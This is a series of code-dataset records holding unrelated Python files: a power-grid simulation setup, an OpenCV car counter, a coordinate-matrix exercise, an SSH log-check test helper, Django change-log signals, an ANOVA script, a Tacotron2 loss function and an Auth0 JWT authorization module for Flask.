register it with the supervisor\n self.supervisor.register_device(new_gc)\n return connections\n\n ##\n # Reads in the JSON information about a battery and creates a battery class.\n # @param battery_info a dictionary of parameter-value information about a battery retrieved from the\n # input JSON file.\n # @param gc_id the id of the grid controller to associate this battery with\n # @param override_args a dictionary of override arguments\n # @return the newly created battery\n\n def make_battery(self, battery_info, gc_id, override_args):\n\n DEFAULT_MAX_CHARGE_RATE = 1000.0 # 1000W default\n DEFAULT_MAX_DISCHARGE_RATE = 1000.0 # 1000W default\n DEFAULT_UPDATE_RATE = 300 # Update every 5 minutes by default\n DEFAULT_CAPACITY = 10000.0 # Default battery capacity 10000 WH. (10 kWh)\n DEFAULT_STARTING_SOC = 0.5 # Default battery starts at 50% charge\n\n batt_price_logic = battery_info['price_logic']\n batt_id = battery_info['battery_id']\n max_discharge_rate = battery_info.get('max_discharge_rate', DEFAULT_MAX_DISCHARGE_RATE)\n max_discharge_rate = float(override_args.get('devices.{}.{}.max_discharge_rate'.format(gc_id, batt_id),\n max_discharge_rate))\n max_charge_rate = battery_info.get('max_charge_rate', DEFAULT_MAX_CHARGE_RATE)\n max_charge_rate = float(override_args.get('devices.{}.{}.max_charge_rate'.format(gc_id, batt_id),\n max_charge_rate))\n capacity = battery_info.get('capacity', DEFAULT_CAPACITY)\n capacity = float(override_args.get('devices.{}.{}.capacity'.format(gc_id, batt_id), capacity))\n starting_soc = battery_info.get('starting soc', DEFAULT_STARTING_SOC)\n starting_soc = float(override_args.get('devices.{}.{}.starting_soc'.format(gc_id, batt_id),\n starting_soc))\n update_frequency = battery_info.get('update_frequency', DEFAULT_UPDATE_RATE)\n battery = Battery(battery_id=batt_id, price_logic=batt_price_logic, capacity=capacity,\n max_charge_rate=max_charge_rate, max_discharge_rate=max_discharge_rate,\n starting_soc=starting_soc, update_frequency=update_frequency)\n return battery\n\n ##\n # Reads in information from the parameter dictionary, makes all specified utility meters and registers them with\n # the supervisor, recording each of their connections\n # @param config the configuration dictionary derived from the input JSON file\n # @param override_args a dictionary of override arguments\n # @param runtime the duration of the simulation (in seconds)\n\n def make_utility_meters(self, config, runtime, override_args):\n connections = [] # a list of tuples of (utm, [connections]) to initialize later once all devices are set.\n if 'utility_meters' not in config['devices']:\n return connections\n for utm in config['devices']['utility_meters']:\n utm_id = utm['device_id']\n msg_latency = utm.get('message_latency', self.DEFAULT_MESSAGE_LATENCY)\n msg_latency = int(override_args.get('devices.{}.message_latency'.format(utm_id), msg_latency))\n connected_devices = utm.get('connected_devices', None)\n schedule = utm.get('schedule', None)\n multiday = schedule.get('multiday', 0) if schedule else 0\n schedule_items = schedule.get('items', None) if schedule else None\n\n sell_price_schedule = utm.get('sell_price_schedule', None)\n sell_price_multiday = sell_price_schedule.get('multiday', self.DEFAULT_MULTIDAY) if sell_price_schedule else 0\n sell_price_schedule_items = sell_price_schedule.get('items', None) if sell_price_schedule else None\n\n buy_price_schedule = utm.get('buy_price_schedule', None)\n buy_price_multiday = buy_price_schedule.get('multiday', self.DEFAULT_MULTIDAY) if buy_price_schedule else 0\n buy_price_schedule_items = buy_price_schedule.get('items', None) if buy_price_schedule else None\n\n if connected_devices:\n connections.append((utm_id, connected_devices))\n\n new_utm = UtilityMeter(device_id=utm_id, supervisor=self.supervisor,\n msg_latency=msg_latency, schedule=schedule_items, runtime=runtime,\n multiday=multiday, sell_price_schedule=sell_price_schedule_items,\n sell_price_multiday=sell_price_multiday, buy_price_schedule=buy_price_schedule_items,\n buy_price_multiday=buy_price_multiday)\n self.supervisor.register_device(new_utm)\n return connections\n\n ##\n # Reads in the PV csv data containing information about the proportion of power used at different times during\n # the simulation. Can use PV Watts input\n # @param filename the input filename containing a list of times and associated percentages of peak power\n # @return a list of tuples of time (seconds), and power produced (watts).\n\n def read_pv_data(self, filename):\n data_out = [] # list of tuples of time and power ratios\n pv_data = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))),\n \"scenario_data/pv_data/{}\".format(filename))\n with open(pv_data, 'r') as data:\n # parsing settings depend on whether PVWatts or LPDM data\n if filename == \"pvwatts_hourly.csv\":\n # Parse data from a PV Watts hourly data format\n DATASTART = 18\n DCPOWERIND = 9\n TIMEPARSE = False\n POWERSCALAR = 1\n for i, line in enumerate(data):\n # Find the kW solar capacity of the PVWatts data\n if i == 6:\n parts = line.strip().split(',')\n POWERSCALAR = float(parts[1])*1000\n break\n else:\n # Parse data from LPDM power ratio format\n DATASTART = 0\n DCPOWERIND = 1\n TIMEPARSE = True\n POWERSCALAR = 1\n # Go through each line in CSV and parse power and time data\n data.seek(0)\n for i, line in enumerate(data):\n if i < DATASTART:\n continue\n parts = line.strip().split(',')\n if len(parts) >= DCPOWERIND + 1 and parts[0].strip():\n time_parts = parts[0].split(':')\n if TIMEPARSE and len(time_parts) == 3:\n # For LPDM format, Parse time from H:M:S format\n time_secs = (int(time_parts[0]) * 60 * 60) + (int(time_parts[1]) * 60) + int(time_parts[2])\n else:\n # For PVWatts format, get time from row index in hourly increments\n time_secs = (i - DATASTART)*3600\n power_ratio = float(parts[DCPOWERIND])/POWERSCALAR\n data_out.append((time_secs, power_ratio))\n return data_out\n\n ##\n # Reads in information from the parameter dictionary, makes all specified PV's and registers them with\n # the supervisor, recording each of their connections\n # @param config the configuration input dictionary derived from the JSON parameter file\n # @param runtime the duration of the simulation, in seconds (necessary for PV's internal scheduling)\n # @param override_args dictionary of override arguments\n # @return list of tuples of PV_id's, list of that device's connected devices.\n\n def make_pvs(self, config, runtime, override_args):\n connections = []\n if 'pvs' not in config['devices']:\n return connections\n for pv in config['devices']['pvs']:\n pv_id = pv['device_id']\n msg_latency = pv.get('message_latency', self.DEFAULT_MESSAGE_LATENCY)\n msg_latency = int(override_args.get('devices.{}.message_latency'.format(pv_id), msg_latency))\n connected_devices = pv.get('connected_devices', None)\n input_file = pv['data_filename']\n peak_power = pv['peak_power']\n output_schedule = self.read_pv_data(input_file)\n if connected_devices:\n connections.append((pv_id, connected_devices))\n\n new_pv = PV(device_id=pv_id, supervisor=self.supervisor, power_profile=output_schedule,\n peak_power=peak_power, total_runtime=runtime, msg_latency=msg_latency)\n self.supervisor.register_device(new_pv)\n return connections\n\n ##\n # Reads in the air conditioner temperature data\n # @param filename the name of the input CSV file, containing times and associated temperatures\n # @return a list of tuples of time(seconds) and temperature (celcius).\n\n def read_air_conditioner_data(self, filename):\n data_out = [] # list of tuples of time and temperature values\n ac_data = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))),\n \"scenario_data/air_conditioner_data/{}\".format(filename))\n with open(ac_data, 'r') as data:\n for line in data:\n parts = line.strip().split(',')\n if len(parts) == 2 and parts[0].strip():\n time_secs = int(float(parts[0]))\n temp = float(parts[1].strip())\n data_out.append((time_secs, temp))\n return data_out\n\n ##\n # Reads in all the information from the JSON about all listed EUD's and creates their connections.\n # Since each EUD might have a different construction signature, this function references the \"Eud Dictionary\"\n # which has a list of the names of different unique construction parameters for each EUD, and then tries to find\n # the values for those parameters in the configuration file\n # @param config the configuration input dictionary derived from the JSON parameter file\n # @param runtime the duration of the simulation (in seconds)\n # @param override_args the dictionary of override arguments\n # @return list of tuples of EUD_id's, list of that device's connected devices.\n\n def make_euds(self, config, runtime, override_args):\n connections = []\n if 'euds' not in config['devices']:\n return connections\n for eud in config['devices']['euds']:\n eud_id = eud['device_id']\n eud_type = eud['eud_type']\n\n msg_latency = eud.get('message_latency', self.DEFAULT_MESSAGE_LATENCY)\n msg_latency = int(override_args.get('devices.{}.message_latency'.format(eud_id), msg_latency))\n start_time = eud.get('start_time', 0)\n start_time = int(override_args.get('devices.{}.start_time'.format(eud_id), start_time))\n modulation_interval = eud.get('modulation_interval', 0) # Default to 0 = do not use modulation.\n modulation_interval = int(override_args.get('devices.{}.modulation_interval'.format(eud_id),\n modulation_interval))\n connected_devices = eud.get('connected_devices', None)\n schedule = eud.get('schedule', None)\n multiday = schedule.get('multiday', self.DEFAULT_MULTIDAY) if schedule else 0\n schedule_items = schedule.get('items', None) if schedule else None\n\n if connected_devices:\n connections.append((eud_id, connected_devices))\n\n eud_class = self.eud_dictionary[eud_type][0]\n # get all the arguments for the eud constructor.\n eud_specific_args = {}\n for cls_arg in self.eud_dictionary[eud_type][1:]:\n if cls_arg in eud:\n eud_specific_args[cls_arg] = eud[cls_arg]\n\n # look for override values\n for param in eud_specific_args.keys():\n try:\n eud_specific_args[param] = float(override_args['devices.{}.{}'.format(eud_id, param)])\n except (ValueError, TypeError, KeyError):\n # Either not a correct float override value or override_args does not contain the value.\n continue\n\n external_data = eud.get('external_data', None)\n if external_data: # external data is a dictionary of constructor names to dictionaries of source info\n for argument, source_info in external_data.items():\n if source_info:\n readin_function = source_info['readin_function']\n source_file = source_info['source_file']\n func = getattr(self, readin_function)\n data = func(source_file)\n eud_specific_args[argument] = data\n\n new_eud = eud_class(device_id=eud_id, supervisor=self.supervisor, time=start_time, msg_latency=msg_latency,\n total_runtime=runtime, modulation_interval=modulation_interval,\n schedule=schedule_items, multiday=multiday, **eud_specific_args)\n self.supervisor.register_device(new_eud)\n\n return connections\n\n def make_converters(self, config, runtime, override_args):\n \"Make the converter objects\"\n if \"converters\" not in config[\"devices\"]:\n return []\n connections = []\n for cv_config in config[\"devices\"][\"converters\"]:\n device_id = cv_config.get('device_id')\n msg_latency = cv_config.get('message_latency', self.DEFAULT_MESSAGE_LATENCY)\n msg_latency = int(override_args.get('devices.{}.message_latency'.format(device_id), msg_latency))\n start_time = cv_config.get('start_time', 0)\n start_time = int(override_args.get('devices.{}.start_time'.format(device_id), start_time))\n device_input = cv_config.get('device_input', None)\n device_output = cv_config.get('device_output', None)\n # make sure device_input and device_output are both defined\n if not device_input or not device_output:\n raise Exception(\"Converter {} requires both device_input and device_output to be defined\")\n capacity = cv_config.get('capacity')\n # create a list of all connected devices (in + out)\n connections.append((device_id, [device_input, device_output]))\n\n efficiency_curve = cv_config.get('efficiency_curve', None)\n\n converter = Converter(\n device_id=device_id,\n supervisor=self.supervisor,\n time=start_time,\n msg_latency=msg_latency,\n device_input=device_input,\n device_output=device_output,\n efficiency_curve=efficiency_curve,\n capacity=capacity\n )\n self.supervisor.register_device(converter)\n return connections\n\n ##\n # Reads in the simulation json file and any override parameters, creating all the devices which will participate\n # in the simulation and then registering all connected devices with each other.\n # @param config_file the name of the input JSON file (will be parsed in this function)\n # @param override_args_list the list of unparsed override arguments passed into simulation arguments (of format\n # 'device_X.parameter_Y=Z'\n\n def setup_simulation(self, config_file, override_args_list):\n # Read in the JSON and turn it into a dictionary.\n param_dict = self.read_config_file(os.path.join(\n os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))),\n \"scenario_data/configuration_files/{}\".format(config_file)))\n\n self.setup_logging(config_filename=config_file, config=param_dict, override_args=override_args_list)\n\n\n # Transform the override list into a dictionary of override key, value dictionary\n overrides = self.parse_inputs_to_dict(override_args_list)\n\n run_time_days = param_dict['run_time_days']\n run_time_days = int(overrides.get('run_time_days', run_time_days))\n self.end_time = SECONDS_IN_DAY * run_time_days\n logging.getLogger(\"lpdm\").info(\"Total Run Time (s): {}\".format(self.end_time))\n\n if 'devices' not in param_dict:\n raise ValueError(\"Tried to run a simulation with no devices!\")\n\n # Makes a list of all device's connections before registering them\n connections = [self.make_grid_controllers(config=param_dict, runtime=self.end_time, override_args=overrides),\n self.make_utility_meters(config=param_dict, runtime=self.end_time, override_args=overrides),\n self.make_pvs(config=param_dict, runtime=self.end_time, override_args=overrides),\n self.make_euds(config=param_dict, runtime=self.end_time, override_args=overrides),\n self.make_converters(config=param_dict, runtime=self.end_time, override_args=overrides)]\n\n # connect devices together\n self.connect_devices(connections)\n [d.init() for d in self.supervisor.all_devices()]\n\n def connect_devices(self, connections):\n # For each connection, register those devices with each other\n for connect_list in connections:\n for this_device_id, connects in connect_list:\n this_device = self.supervisor.get_device(this_device_id)\n for connection_item in connects:\n if type(connection_item) is str:\n self.connect_devices_without_wire(this_device_id, this_device, connection_item)\n elif type(connection_item) is dict:\n self.connect_devices_with_wire(this_device_id, this_device, connection_item)\n\n def connect_devices_without_wire(self, device_id_a, device_a, device_id_b):\n # connect 2 devices together without any wire information\n device_b = self.supervisor.get_device(device_id_b)\n device_a.register_device(device_b, device_id_b, 1)\n device_b.register_device(device_a, device_id_a, 1)\n print(\"registered no wire {} -> {}\".format(device_id_b, device_id_a))\n\n def connect_devices_with_wire(self, device_id_a, device_a, connection_info):\n # connect 2 devices together without any wire information\n device_id = connection_info[\"device_id\"]\n voltage = connection_info[\"voltage\"]\n #wire_class = connection_info[\"wire_class\"]\n resistance = connection_info.get(\"resistance\", None)\n length = connection_info.get(\"length\", 0)\n gauge = connection_info.get(\"gauge\", '14')\n current_type = connection_info.get(\"current_type\", 'DC')\n # load the module\n m = importlib.import_module(\"Build.Objects.wire\")\n # get the class, will raise AttributeError if class cannot be found\n #WireClass = getattr(m, wire_class)\n # build the wire object\n #wire = WireClass(length_m, voltage)\n wire = Wire(voltage, resistance, length, gauge, current_type)\n\n device_b = self.supervisor.get_device(device_id)\n device_a.register_device(device_b, device_id, 1, wire)\n device_b.register_device(device_a, device_id_a, 1, wire)\n print(\"registered with wire {} -> {}\".format(device_id, device_id_a))\n\n ##\n # Takes a list of keyword arguments in the form of strings such as 'key=value' and outputs them as\n # a dictionary of string to string values. Ignores whitespace.\n # @param args the list of keyword inputs to separate into a dictionary\n\n def parse_inputs_to_dict(self, args):\n arg_dict = {}\n for arg in args:\n key_value = arg.split('=')\n if len(key_value) == 2:\n key_val_no_space = map(str.strip, key_value) # ignore whitespace\n key, val = key_val_no_space\n arg_dict[key] = val\n return arg_dict\n\n\n##\n# Creates an instance of a simulation class, which performs all the necessary file I/O with the input file.\n# Then, iterates through all events created in the simulation and writes output to the log file.\n# @param config_file the configuration json containing the specifications of the run. See docs for more details.\n# @param override_args list of manual parameters to override in the format 'device_id.attribute_name=value'.\n\ndef run_simulation(config_file, override_args):\n\n sim = SimulationSetup(supervisor=Supervisor())\n sim.setup_simulation(config_file, override_args)\n\n while sim.supervisor.has_next_event():\n device_id, time_stamp = sim.supervisor.peek_next_event()\n if time_stamp > sim.end_time:\n # Reached end of simulation. Stop processing events\n break\n sim.supervisor.occur_next_event()\n\n sim.supervisor.finish_all(sim.end_time)\n","sub_path":"LPDM_Simulation/Build/Simulation_Operation/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":28855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"71055014","text":"import cv2\n\n\ncar_cascade = cv2.CascadeClassifier('cars.xml')\n\nim1 = cv2.imread('trafficimages/car1.jpg')\nim2 = cv2.imread('trafficimages/car2.jpg')\nim3 = cv2.imread('trafficimages/car3.jpg')\nim4 = cv2.imread('trafficimages/car4.jpg')\n\n\n\ngray = cv2.cvtColor(im1, cv2.COLOR_BGR2GRAY)\n\ncars = car_cascade.detectMultiScale(gray, 1.1, 1)\nfor (x,y,w,h) in cars:\n\tcv2.rectangle(im3,(x,y),(x+w,y+h),(0,0,255),2)\n\nvar1 = len(cars)\n\n\ngray = cv2.cvtColor(im2, cv2.COLOR_BGR2GRAY)\n\ncars = car_cascade.detectMultiScale(gray, 1.1, 1)\nfor (x,y,w,h) in cars:\n\tcv2.rectangle(im3,(x,y),(x+w,y+h),(0,0,255),2)\n\nvar2 = len(cars)\n\n\ngray = cv2.cvtColor(im3, cv2.COLOR_BGR2GRAY)\n\ncars = car_cascade.detectMultiScale(gray, 1.1, 1)\n\nfor (x,y,w,h) in cars:\n\tcv2.rectangle(im3,(x,y),(x+w,y+h),(0,0,255),2)\nvar3 = len(cars)\n\n\ngray = cv2.cvtColor(im4, cv2.COLOR_BGR2GRAY)\n\ncars = car_cascade.detectMultiScale(gray, 1.1, 1)\n\nfor (x,y,w,h) in cars:\n\tcv2.rectangle(im4,(x,y),(x+w,y+h),(0,0,255),2)\nvar4 = len(cars)\n\n# print(max)\n\n\n# print(\"The lane \" +str(flag)+ \" is open\")\n\n\ncv2.imshow('image1',im1)\ncv2.imshow('image2',im2)\ncv2.imshow('image3',im3)\ncv2.imshow('image4',im4)\n\n\n\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"trsig.py","file_name":"trsig.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"361833147","text":"matriz = []\nm_coord_pred = [[1.811,-75.820,58],\n [1.919,-75.843,1290],\n [1.875,-75.877,110],\n [1.938,-75.764,114]]\n#Function to input longitud and latitud\ndef lon_lat():\n sup = 1.998\n inf = 1.740\n ori = -75.689\n occ = -75.950\n \n \n for x in range(0,3):\n #Adiciono una nueva fila ( Arreglo vaicio) para eso adiciono la lista vacia.\n #matriz.append([])\n #inserto la fila vacia\n matriz.append([])\n try:\n latitud = round(float(input(\"Ingrese la latitud: \")),3)\n if latitud >= inf and latitud <= sup:\n longitud = round(float(input(\"Ingrese la longitud: \")),3)\n if longitud >= occ and longitud <=ori:\n #se usa la función insert porque doy el valor del indice con append adiciono al final\n matriz[x].insert(0,latitud)\n matriz[x].insert(1,longitud)\n else:\n print(\"Error\")\n break\n else:\n print(\"Error\")\n break\n except ValueError:\n print(\"Error\")\n break\n return matriz\n\n#Function to show matriz\ndef show_mat_2(matriz):\n for i in range(0,len(matriz)):\n print(f\"Latitud:'{matriz[i][0]}' Longitud: '{matriz[i][1]}' {matriz[i][2]} \")\n\ndef is_list_empty(list):\n # checking the length\n if len(list) == 0:\n return True\n return False\n\ndef validate_mat(matriz):\n print (\"Ingreso a la función de actualizar\")\n validador = is_list_empty(matriz)\n if validador == True:\n print(\"La lista esta vacia\")\n else:\n show_mat_2(matriz)\n\ndef prom_coord(matriz):\n print(f\"EL promedio de las latitudes es: {(matriz[0][0]+matriz[1][0]+matriz[2][0])/3}\")\n\ndef run():\n #lon_lat()\n show_mat_2(m_coord_pred)\n prom_coord(m_coord_pred)\n #validate_mat(matriz)\n\n\nif __name__ == '__main__':\n run()","sub_path":"MisiónTIC2021-Cliclo1-Pyhton/pruebas/llenamatriz.py","file_name":"llenamatriz.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"347380614","text":"from robot.api import logger\nfrom utils.SSHUtils import SSHUtil\nfrom utils.GetConfigurations import GetConfigurations\nfrom conf.restConstants import REST_TIMEOUT\nimport datetime\nimport time\nimport re\n\n\nclass ExecuteLogCheck:\n \"\"\"\n Based on the Start time of the test case, It fetches All Log entries\n generated from that time. user should provide an exit pattern in form\n of a regex to segregate the log entries. It tries for 5 times to fetch\n the correct entries and in case no entry is generates, it returns \"\"\n e.g:\n\n My If my desired Log chunk Looks like\n start Backup:\n Lines....\n .........\n .........\n End backup:\n\n My Regex should be:\n start Backup:((.|\\n)*?)End backup:\n\n \"\"\"\n def current_time_utc(self):\n \"\"\"\n Use it in Robot file in beginning of test to get the start time\n :return: Time in UTC\n \"\"\"\n dt = datetime.datetime.utcnow()\n dt = dt.strftime(\"%d/%b/%Y %H:%M:%S\")\n return dt\n\n def asleep(self, sleep_time):\n \"\"\"\n Use it in Robot for waiting in Seconds\n :param sleep_time: time in seconds\n :return:\n \"\"\"\n time.sleep(float(sleep_time))\n\n def get_log(self, **kwargs):\n \"\"\"\n :param kwargs:\n\n Args:\n service: middleware, tas or worker\n start_time: Use output of current_time_utc defined in the beginning of test\n exit_pattern: REGEX pattern\n\n My If my desired Log chunk Looks like\n start Backup:\n Lines....\n .........\n .........\n End backup:\n\n My Regex should be:\n start Backup:((.|\\n)*?)End backup:\n\n :return: Log chunk\n \"\"\"\n\n # Get all configurations\n c = GetConfigurations()\n service = kwargs.get('service')\n\n if service == 'middleware':\n ip = c.get_config('local', 'MW_DETAILS', 'MW_IP')\n user = c.get_config('local', 'MW_DETAILS', 'MW_USER')\n pwd = c.get_config('local', 'MW_DETAILS', 'MW_PWD')\n log_location = c.get_config('local', 'LOG', 'MW_SERVICE_LOG')\n\n elif service == 'tas':\n ip = c.get_config('local', 'TAS_DETAILS', 'TAS_IP')\n user = c.get_config('local', 'TAS_DETAILS', 'TAS_USER')\n pwd = c.get_config('local', 'TAS_DETAILS', 'TAS_PWD')\n log_location = c.get_config('local', 'LOG', 'TAS_SVC')\n\n elif service == 'worker':\n ip = c.get_config('local', 'MW_DETAILS', 'MW_IP')\n user = c.get_config('local', 'MW_DETAILS', 'MW_USER')\n pwd = c.get_config('local', 'MW_DETAILS', 'MW_PWD')\n log_location = c.get_config('local', 'LOG', 'WORKER_LOG')\n\n self.ssh_obj = SSHUtil(host=ip, username=user,\n password=pwd, timeout=100)\n\n regex_pattern = kwargs.get('exit_pattern')\n\n # AWK command to fetch the logs starting from the test start time\n tail_cmd = 'awk -F\\'[]]|[[]\\' \\'$0 ~ /^\\\\[/ && $2 >= \\\"' + \\\n kwargs.get('start_time').encode('ascii','ignore') + \\\n '\\\" { p=1 } p { print $0 }\\' ' + log_location\n\n logger.info(tail_cmd)\n\n # Loop until the regex pattern is found in logs\n for i in range(5):\n\n # Fetch logs in a string\n logs = self.ssh_obj.execute_command(tail_cmd)['output']\n matched = re.search(regex_pattern, logs)\n if matched:\n logger.info('################### Matched Log Start ###########################')\n logger.info(matched.group(0))\n logger.info('################### Matched Log End ###########################')\n return matched.group(0)\n logger.info(\"Couldn't find log entry. Waiting for the log to update...\")\n self.asleep(REST_TIMEOUT)\n\n return \"\"\n","sub_path":"automation_framework/auc/generic/log_check.py","file_name":"log_check.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"267907859","text":"from django.dispatch import receiver\nfrom django.db.models.signals import post_save, post_delete\n\nfrom models import ModelsChangesLog\n\n\n@receiver(post_save)\ndef post_save_action(sender, created, **kwargs):\n model_name = sender.__name__\n if model_name == 'ModelsChangesLog':\n return\n action = 'create' if created else 'edit'\n ModelsChangesLog.objects.create(model_name=model_name, action=action)\n\n\n@receiver(post_delete)\ndef post_delete_action(sender, **kwargs):\n model_name = sender.__name__\n if model_name == 'ModelsChangesLog':\n return\n ModelsChangesLog.objects.create(model_name=model_name, action='delete')\n","sub_path":"apps/contact/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"594598678","text":"# import plotly.plotly as py\n# import plotly.graph_objs as go\n# from plotly.tools import FigureFactory as FF\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nimport scipy\nimport scipy.stats as stats\n\nimport statsmodels\nimport statsmodels.api as sm\nfrom statsmodels.formula.api import ols\nimport util_ler_dados as udata\n\n\ndf_tudo = udata.obterDados2()\n\narq_destino = '03-Anova-2/_ANOVA_TODAS_ANALISES.txt'\nif os.path.exists(arq_destino):\n os.remove(arq_destino)\narq_destino = open(arq_destino, 'w+')\n\nfor prob in udata.PROBABILIDADES_2:\n for tam in udata.TAMANHOS:\n data = udata.obterDfPorProbTam2(prob=prob, tam=tam, df=df_tudo)\n # print(data.head())\n\n lm = ols(formula='percentual_k_unordered ~ algoritmo', data=data).fit()\n anova = sm.stats.anova_lm(lm, typ=2) # Type 2 ANOVA DataFrame\n\n tit = ' ANOVA para Probabilidade = %s e Tamanho = %s' % (prob, tam)\n hr = '=' * 60 #len(tit)\n anov = anova.head(10)\n\n s = '%s\\n%s\\n%s\\n%s\\n\\n' %(hr,tit,hr,anov)\n arq_destino.write(s)\n print(s)\n\n #insere dados do Tete de Nomelidade\n s = ' * TESTE DE NORMALIDADE (SHAPIRO-WILK):\\n'\n s += ' %s\\n' % ('-' * (len(s)+6))\n for alg in udata.ALGORTIMOS:\n d = data[data['algoritmo'] == alg]['percentual_k_unordered']\n W, p_value = stats.shapiro(d)\n s += ' - %s: W = %0.6f / p_value = %.6f \\n' % (alg.ljust(9), W, p_value)\n s += '\\n'\n arq_destino.write(s)\n print(s)\n\n\n#fecha arquivo\narq_destino.close()\n\n\n# pr_f = anova['PR(>F)'].values[0]\n# print( '%s / %.55f' % (pr_f, pr_f) )\n\n","sub_path":"_fabiano/python/09-NOVO-2-Gerar TABELA ANOVA.py","file_name":"09-NOVO-2-Gerar TABELA ANOVA.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"279762434","text":"from torch import nn\n\n\nclass MaskedMSELoss(nn.Module):\n def __init__(self):\n super(MaskedMSELoss, self).__init__()\n\n def forward(self, pred, target, output_lengths):\n squared_error = (target - pred) ** 2\n loss = (squared_error.mean(1).sum(1) / output_lengths).mean()\n return loss\n\n\nclass Tacotron2Loss(nn.Module):\n def __init__(self):\n super(Tacotron2Loss, self).__init__()\n self.custom_mse = MaskedMSELoss()\n\n def forward(self, model_output, targets, output_lengths):\n mel_target, gate_target = targets[0], targets[1]\n mel_target.requires_grad = False\n gate_target.requires_grad = False\n gate_target = gate_target.view(-1, 1)\n\n mel_out, mel_out_postnet, gate_out, _ = model_output\n gate_out = gate_out.view(-1, 1)\n mel_loss = self.custom_mse(mel_out, mel_target, output_lengths) + \\\n self.custom_mse(mel_out_postnet, mel_target, output_lengths)\n gate_loss = nn.BCEWithLogitsLoss()(gate_out, gate_target)\n return mel_loss + gate_loss\n","sub_path":"tacotron2/loss_function.py","file_name":"loss_function.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"626781220","text":"# Note: This file is pretty much a copy/paste from my Coffeeshop project\n\nimport json\nfrom flask import request, _request_ctx_stack, abort\nfrom functools import wraps\nfrom jose import jwt\nfrom urllib.request import urlopen\n\n# Defining Auth0 information\nAUTH0_DOMAIN = 'dkhundley.auth0.com'\nALGORITHMS = ['RS256']\nAPI_AUDIENCE = 'casting'\n\n# AuthError Exception\n# -----------------------------------------------------------------------------\n'''\nAuthError Exception\nA standardized way to communicate auth failure modes\n'''\n\n\nclass AuthError(Exception):\n def __init__(self, error, status_code):\n self.error = error\n self.status_code = status_code\n\n# Auth Header\n# -----------------------------------------------------------------------------\n# Defining function to obtain authorization token from request header\n\n\ndef get_token_auth_header():\n '''Obtains access token from the Authoization header'''\n # Getting auth info from header\n auth = request.headers.get('Authorization', None)\n\n # Checking to see if auth information is present, else raises 401 error\n if not auth:\n raise AuthError({\n 'code': 'authorization_header_missing',\n 'description': 'Authorization header is expected.'\n }, 401)\n\n # Splitting out parts of auth header\n parts = auth.split()\n\n # Checking if 'parts' info looks as we would expect it to\n if parts[0].lower() != 'bearer':\n raise AuthError({\n 'code': 'invalid_header',\n 'description': 'Authoization header must start with \"Bearer\".'\n }, 401)\n elif len(parts) == 1:\n raise AuthError({\n 'code': 'invalid_header',\n 'description': 'Token not found.'\n }, 401)\n\n # Grabbing token from auth parts\n token = parts[1]\n\n return token\n\n\n# Defining function to check if user has proper permissions given auth\n# credentials\ndef check_permissions(permission, payload):\n # Checking to see if permissions are included in JWT\n if 'permissions' not in payload:\n raise AuthError({\n 'code': 'invalid_claims',\n 'description': 'Permissions not found in JWT.'\n }, 400)\n\n # Checking to see if permission from JWT matches what's available in\n # general\n if permission not in payload['permissions']:\n raise AuthError({\n 'code': 'unauthorized',\n 'description': 'Permission not authorized.'\n }, 403)\n\n # If all checks out from above, return true\n return True\n\n\n# Defining a function to check that the provided token matches what is\n# expected from Auth0\ndef verify_decode_jwt(token):\n # Getting the public key from Auth0\n jsonurl = urlopen(f'https://{AUTH0_DOMAIN}/.well-known/jwks.json')\n jwks = json.loads(jsonurl.read())\n\n # Getting header information from the provided token\n unverified_header = jwt.get_unverified_header(token)\n\n # Instantiating empty object to append RSA key info to\n rsa_key = {}\n\n # Checking to see if 'kid' is in the unverified header\n if 'kid' not in unverified_header:\n raise AuthError({\n 'code': 'invalid_header',\n 'description': 'Authorization malformed.'\n }, 401)\n\n # Appending information to RSA key dictionary from jwks if 'kid' matches\n # the unverified header\n for key in jwks['keys']:\n if key['kid'] == unverified_header['kid']:\n rsa_key = {\n 'kty': key['kty'],\n 'kid': key['kid'],\n 'use': key['use'],\n 'n': key['n'],\n 'e': key['e']\n }\n\n # Getting payload information from the token using key if everything\n # checks out fine (else raises error)\n if rsa_key:\n try:\n payload = jwt.decode(\n token,\n rsa_key,\n algorithms=ALGORITHMS,\n audience=API_AUDIENCE,\n issuer='https://' + AUTH0_DOMAIN + '/'\n )\n\n return payload\n\n # Handling respective error scenarios\n except jwt.ExpiredSignatureError:\n raise AuthError({\n 'code': 'token_expired',\n 'description': 'Token expired.'\n }, 401)\n except jwt.JWTClaimsError:\n raise AuthError({\n 'code': 'invalid_claims',\n 'description': 'Incorrect claims. Please check the autdience and issuer.'\n }, 401)\n except Exception:\n raise AuthError({\n 'code': 'invalid_header',\n 'description': 'Unable to parse authentication token.'\n }, 400)\n # If RSA_key info not present, raising AuthError\n raise AuthError({\n 'code': 'invalid_header',\n 'description': 'Unable to find appropriate key.'\n }, 400)\n\n\n# Defining a function to create a nice Python decorator to easily ensure if auhtoirzation info is present\n# before allowing user to perform any activities.\ndef requires_auth(permission=''):\n def requires_auth_decorator(f):\n @wraps(f)\n def wrapper(*args, **kwargs):\n token = get_token_auth_header()\n try:\n payload = verify_decode_jwt(token)\n except BaseException:\n raise AuthError({\n 'code': 'invalid_token',\n 'description': 'Token could not be verified.'\n }, 401)\n check_permissions(permission, payload)\n return f(payload, *args, **kwargs)\n\n return wrapper\n return 